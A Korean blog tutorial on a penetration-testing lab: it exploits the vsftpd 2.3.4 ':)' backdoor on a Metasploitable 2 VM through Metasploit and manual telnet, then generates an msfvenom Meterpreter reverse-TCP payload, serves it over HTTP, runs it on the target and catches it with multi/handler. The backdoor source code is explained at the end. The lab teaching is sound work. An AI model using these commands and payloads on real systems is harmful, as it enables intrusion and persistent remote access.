개요
vsftpd는 Very Secure FTP Daemon 의 약자로 유닉스,리눅스에서 사용되는 ftp 서버이다.
vsftp 2.3.4 취약점은 2011년 6월30일~2011년7월 1일 쯤 알려진 취약점이다.
해당 취약점의 원리는 telnet을 통해 웃음 이모티콘(smiley face) 을 통해 오픈된 포트가 열리면서 생기는 취약점이다
웃음 이모티콘이라 하면 아스키코드 0x3A 인 : , 아스키코드 0x29 인 ) 해당 문자들로 이 두문자를 유저아이디로 입력을 하게 되면 6200 포트가 열리는 버그가 생기는 것이었다. 두개를 합치면 :) 옆으로 누운 웃음 이모티콘이다.
후속공격 (post-exploitation)
후속 공격은 세션이 오픈 된 후 일어나는 모든 행동들을 말한다. 즉 exploit 이후 정보수집,지속성 유지 등을 말한다.
후속 공격을 해야 되는 이유는 osint, 포트 스캔 등을 통해 오랫동안 정보수집을 통해 초기 침투에 성공을 했지만
모종의 이유로 침투 경로에 기능이 꺼진다던지 , 보안 업데이트를 한다던지를 해버리면 초기 침투 한것들이
모두 날라갈수 있다.
그래서 초기 침투 이후 후속 공격 조치가 반드시 있어야 한다.
해당 게시물의 실습에서 후속 공격에 들어갈때 bind shell 과 reverse shell 의 개념에 이해가 필요하다
아래 링크는 해당 개념에 대해 설명한 글이니 잘 모른다면 한번 보고 오면 해당 게시물에 이해도가 높아 질 것이다.
Bind shell 과 Reverse shell
Bind shell vs reverse shell 해당 공격은 거의 똑같은 공격이지만 딱 하나의 차이로 분명하게 나눠진다. 바로 누가 누구에 컴퓨터에 접속을 했냐이다. 정확하게 말하자면 누가 포트를 열었는지 라고 볼
adm1n1.tistory.com
또한 해당 실습에서 정보 수집 부분은 아래 링크에서 했던 부분을 이어서 할것이기 때문에 정보수집은 따로 하지 않을 것이다.
Nessus 와 Metasploitable로 실습! / VNC 인증 정보 디폴트 취약점
출처:https://training.totalcyber.com/what-is-nessus/ 네서스(Nessus)는 오픈소스 취약점 스캐너이다. 사용자가 기업이 아니라면 무료로 이용할수 있는 스캐너 이다. 네트워크,DOS(Denial Of Service),웹 등의 취약점
adm1n1.tistory.com
vsftp 2.3.4 취약점을 이용하여 bind shell 로 침투를 하고
후속 공격(post-exploitation) 으로다가 reverse shell 로 다시 접속을 해볼 것이다.
실습 환경
PC1
OS: kali linux
IP: 192.168.180. 147
PC2
OS: Linux (matasploitable V2 )
IP:192.168.180.149
실습
취약점 탐지
우리는 이전에 nessus를 통해 타겟 (PC2)을 스캔을 통해 취약점을 알아냈다.
nessus에서 알아낸 취약점 중 하나인 vsftp 취약점을 이용을 할 것이다
nessus에서 아쉬운점은 모의해킹 관점에서 스캔 결과를 나타내지 못하는 점이 존재한다.
vsftpd 2.3.4 버전이라는 것을 알아냈지만 해당 버전은 심각한 취약점이지만 취약점 상 중 하 이 레벨에 들어가지도 못하고
그저 info로 버전 정보를 알수 있는 정도로 나타냈다.
아무튼 해당 취약점을 exploit-db.com에서 검색에 의하면 해당 취약점은 백도어가 존재하는 심각한 취약점이었다
침투 실습1(메타스폴로이드 방식 )
matasploit을 실행을 한다
search 를 이용해서 vsftp 취약점을 찾는다
2가지 공격방법이 있지만 description 내용을 보니 두번째 공격을 사용하면 될 것이다.
그래서 use 1
set RHOST 를 이용해서 타겟의 IP를 설정해둔다
show options을 통해 타겟의 ip 설정이 제대로 됐는지 확인 할수 있다.
exploit 으로 바로 침투를 한다
캡쳐 사진에 맨 아랫줄을 보면 192.168.180.149에는 6200 포트가 존재 하지 않았지만 vsftp 취약점을 이용해 6200 포트를 열었고 6200포트로 침투를 했다 (bind shell)
침투 실습 2 (클래식 방식)
침투실습 1 을 이미 했다면 PC2(metasploitable)을 재시작을 해야 한다
# telnet 타겟ip 21
접속이 됐으면
user 아무문자:)
반드시 맨끝에 :) 를 붙여줘야한다 이게 포인트이다!
pass 아무문자
필자에 경우 hello 와 world를 아무문자로 넣었다.
그리고
CTRL + ] 를 눌러주고
quit 을 해서 나와 준다
그리고 telnet을 6200 포트로 연결을 하면 된다.
#telnet 타겟ip 6200
그러면 접속이 되는데 모든 명령문에는 뒤에 ; (세미콜론)으로 마무리를 해줘야한다.
후속공격
msfveonm을 이용해서 악성코드를 생성 하고 타겟이 해당 악성코드로 인해 백도어가 설치 될것이다.
원래 msfpayload로 악성코드 생성 msfencode로 악성코드 인코딩으로 백신 우회
이런식으로 따로따로 쓰였으나 지금은 msfvenom으로 한번에 쓰인다.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.180.147 LPORT=3232 -f elf>back.elf
우리는 리버스 쉘을 이용 할것이기 때문에 LHOST에 IP 주소는 칼리(PC1) 공격자 IP로 설정을 해두었다.
이제 back.elf 악성 코드 파일이 생성 되었다.
elf 파일은 윈도우에서 exe 같은 실행 파일이다.
이제 이 악성코드를 타겟이 실행을 시켜야 하는데 파일을 타겟에게 주는 방법은 매우 많겠지만
공격자(PC1)가 웹서버를 켜서 타겟이 웹서버에 접속을 해 다운 받는 식으로 할 것이다.
아파치 (웹서버) 실행
악성코드를 웹서버에 위치 시킨다.
그리고 이제 타겟이 악성코드를 실행 시키기 전에 악성코드에 설정해둔 포트를 열고 기다릴 것이다.
metasploit 실행
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
3232 포트와 자신의 IP로 설정을 한다.
exploit을 통해 3232 포트를 열어둔채 대기를 한다.
이제 다시 bind shell 했던 터미널로 돌아가 악성코드를 다운 받을 것이다
wget을 통해 http 로 접속을 하고 다운로드를 받는다.
back.elf를 실행시킨다
즉 타겟이 공격자가 열어둔 포트에 접속을 한 셈이다.
타겟이 악성코드를 실행 시키자 meterpreter로 실행이 되었다
reverse shell 까지 모두 성공이다.
취약점 원리
vsftp 2.3.4 의 소스를 보면 이렇다
str.c
vsftpd 실행할 때 username에서 string 값을 받을때
else if((p_str->p_buf[i] ==0x3a)&&(p_str->p_buf[i+1]==0x29))부분으로 인해
\x3a\x29\로 시작하는 아스키코드 즉 문자로 해석하면 :) 인 값을 받으면
vsf_sysutil_extra()를 실행을 한다.
sysdeputil.c
sa.sin_port= htons(6200) 는 백도어 포트를 6200번을 연다는 것이고
모든 명령문은 execl("/bin/sh","sh",(char *)0); 기능을 통해 전달이 된다.
'보안 > 모의해킹' 카테고리의 다른 글
CVE-2015-8249 취약점 분석 (1) | 2023.11.30 |
---|---|
SNMP 정보 노출 취약점 (port 161 ) (0) | 2023.11.14 |
Method 허용 취약점 , webdav로 실습 (0) | 2023.11.11 |
이터널 블루 (Eternal Blue ) 분석 /Operation failed: 1314 오류 해결 (0) | 2023.10.19 |
모의해킹 보고서 작성 팁 링크 모음 (0) | 2023.08.01 |